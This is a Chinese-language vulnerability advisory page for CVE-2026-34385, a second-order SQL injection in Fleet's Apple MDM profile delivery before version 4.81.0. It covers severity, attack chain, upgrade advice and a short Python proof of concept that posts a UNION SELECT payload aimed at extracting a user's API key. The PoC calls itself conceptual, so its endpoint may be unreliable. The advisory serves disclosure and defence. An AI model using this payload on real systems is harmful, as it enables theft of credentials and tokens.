IPBUF安全漏洞报告
English
CVE-2026-34385 CVSS 8.1 高危

CVE-2026-34385 Fleet二阶SQL注入漏洞

披露日期: 2026-03-27

漏洞信息

漏洞编号
CVE-2026-34385
漏洞类型
SQL注入
CVSS评分
8.1 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Fleet

相关标签

SQL注入二阶注入FleetMDM高危漏洞

漏洞概述

Fleet是一款开源设备管理软件。在4.81.0版本之前,其Apple MDM配置文件交付管道中存在二阶SQL注入漏洞。攻击者若拥有有效的MDM注册证书,即可利用该漏洞对数据库进行注入攻击,从而窃取或修改Fleet数据库内容,涉及用户凭据、API令牌及设备注册密钥等敏感数据。该漏洞影响数据机密性与完整性,已在4.81.0版本中修复。

技术细节

该漏洞属于二阶SQL注入(Second-Order SQL Injection)。在Fleet的Apple MDM配置文件交付管道中,应用程序未能充分清洗通过MDM协议传入的特定参数。攻击者利用合法的MDM注册证书,将包含恶意SQL代码的数据发送给服务器。这些恶意数据首先被存储在数据库中,并未立即执行。当系统后续处理与MDM配置文件相关的后台任务(如生成报告或更新状态)时,会调用这些存储的数据并拼接到SQL查询中,从而触发注入。与普通注入不同,二阶注入更难检测且通常发生在非直接用户输入处理的逻辑中。利用此漏洞,攻击者能绕过部分前端防护,直接在数据库层面执行任意SQL语句,导致数据泄露或篡改。

攻击链分析

STEP 1
Attacker obtains valid MDM certificate
攻击者获取一个有效的MDM注册证书,这是利用该漏洞的前提条件。
STEP 2
Craft malicious SQL payload
攻击者构造包含恶意SQL语句的数据载荷,旨在窃取或修改数据库内容。
STEP 3
Send payload to MDM endpoint
攻击者使用合法证书,通过MDM协议将恶意载荷发送到Fleet服务器的配置文件交付接口。
STEP 4
Data storage (First Order)
Fleet服务器接收数据,由于验证不足,将恶意载荷存储在数据库中,此时未执行SQL。
STEP 5
Background process trigger (Second Order)
Fleet的后台处理进程(如MDM配置文件处理任务)读取存储的恶意数据。
STEP 6
SQL Injection execution
后台进程将数据拼接到SQL查询中执行,触发注入,导致数据泄露或篡改。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# PoC for CVE-2026-34385 (Fleet Second-Order SQL Injection) # This is a conceptual demonstration. import requests target_url = "https://fleet-server.example.com" mdm_endpoint = "/api/v1/fleet/mdm/profile" valid_mdm_cert = "/path/to/valid/cert.pem" valid_mdm_key = "/path/to/valid/key.pem" # The payload attempts to extract the API token of the first user # This payload is stored in the DB first malicious_payload = "test' UNION SELECT api_key FROM users LIMIT 1-- -" headers = { "Content-Type": "application/json" } data = { "profile_data": malicious_payload, "device_identifier": "TestDevice" } # Step 1: Send the payload using the valid MDM certificate # The server accepts this and stores it in the database response = requests.post( target_url + mdm_endpoint, cert=(valid_mdm_cert, valid_mdm_key), json=data, headers=headers, verify=False ) if response.status_code == 200: print("[+] Payload stored successfully. Waiting for background job trigger...") print("[+] Once the background process consumes the data, the SQL injection will execute.") else: print("[-] Failed to deliver payload")

影响范围

Fleet < 4.81.0

防御指南

临时缓解措施
建议立即升级Fleet至4.81.0或更高版本以彻底修复漏洞。若无法立即升级,应严格审查并撤销不可信的MDM注册证书,并在数据库层面实施严格的访问控制与最小权限原则,以此降低潜在风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表